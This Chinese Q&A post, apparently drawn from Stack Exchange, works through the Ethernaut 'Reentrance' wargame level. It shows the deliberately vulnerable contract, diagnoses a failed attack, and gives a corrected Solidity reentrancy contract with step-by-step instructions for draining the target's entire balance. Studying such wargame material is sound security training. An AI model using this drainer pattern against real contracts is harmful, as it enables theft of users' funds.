Ethernaut重入攻击挑战遇阻:无法清空目标合约余额求助
重入攻击合约问题排查
目标合约代码
pragma solidity ^0.8.0; import 'https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/math/SafeMath.sol'; contract Reentrance { using SafeMath for uint256; mapping(address => uint) public balances; function donate(address _to) public payable { balances[_to] = balances[_to].add(msg.value); } function balanceOf(address _who) public view returns (uint balance) { return balances[_who]; } function withdraw(uint _amount) public { if(balances[msg.sender] >= _amount) { (bool result,) = msg.sender.call{value:_amount}(""); if(result) { _amount; } balances[msg.sender] -= _amount; } } receive() external payable {} }
你的攻击合约问题分析
当前攻击合约存在3个关键问题,导致无法清空目标合约余额:
- 重入终止逻辑错误:
require(i<target.balance);的判断逻辑不成立。每次提取1wei后,target.balance会减少1,i却持续累加,当目标余额剩余不多时,i会远大于剩余余额,直接终止重入循环,无法提完所有资金。 - 单次提取效率过低:每次仅提取1wei,不仅操作繁琐,还容易因gas耗尽导致重入中断。
- 捐赠参数逻辑冗余:
calldonate同时传入val和使用msg.value,若两者数值不一致,会导致目标合约balances记录的金额与实际捐赠ETH不匹配,后续无法正常触发提款。
修改后的攻击合约
contract interactor{ address public target = 0xd9145CCE52D386f254917e481eB44e9943F39138; constructor() payable {} function donate() public { (bool success,) = target.call{value: address(this).balance}( abi.encodeWithSignature("donate(address)", address(this)) ); require(success, "Donate failed"); } function attack() public { uint withdrawAmount = target.balanceOf(address(this)); (bool success,) = target.call( abi.encodeWithSignature("withdraw(uint256)", withdrawAmount) ); require(success, "Withdraw failed"); } fallback() external payable { uint targetBalance = address(target).balance; if (targetBalance > 0) { uint withdrawAmount = target.balanceOf(address(this)); if (withdrawAmount > targetBalance) { withdrawAmount = targetBalance; } target.call(abi.encodeWithSignature("withdraw(uint256)", withdrawAmount)); } } }
修改说明
- 简化捐赠逻辑:直接将攻击合约的全部ETH捐赠给自己,确保
balances[address(this)]与实际捐赠金额完全匹配,避免参数冲突。 - 最大化单次提取金额:每次提款提取自己
balances中的全额(或目标合约剩余的全部余额),提升效率并减少gas消耗。 - 修正重入终止条件:直接判断目标合约余额是否大于0,只要还有资金就继续重入,确保清空所有ETH。
- 增加调用校验:在
donate和attack中加入调用成功校验,方便快速排查调用失败问题。
操作步骤
- 部署攻击合约时,转入与目标合约余额等量的ETH。
- 调用
donate函数,将攻击合约的ETH捐赠到目标合约,完成余额记录。 - 调用
attack函数触发第一次提款,后续重入逻辑会自动清空目标合约所有余额。
内容的提问来源于stack exchange,提问作者Ali Jouahri
相关产品推荐
相关产品推荐

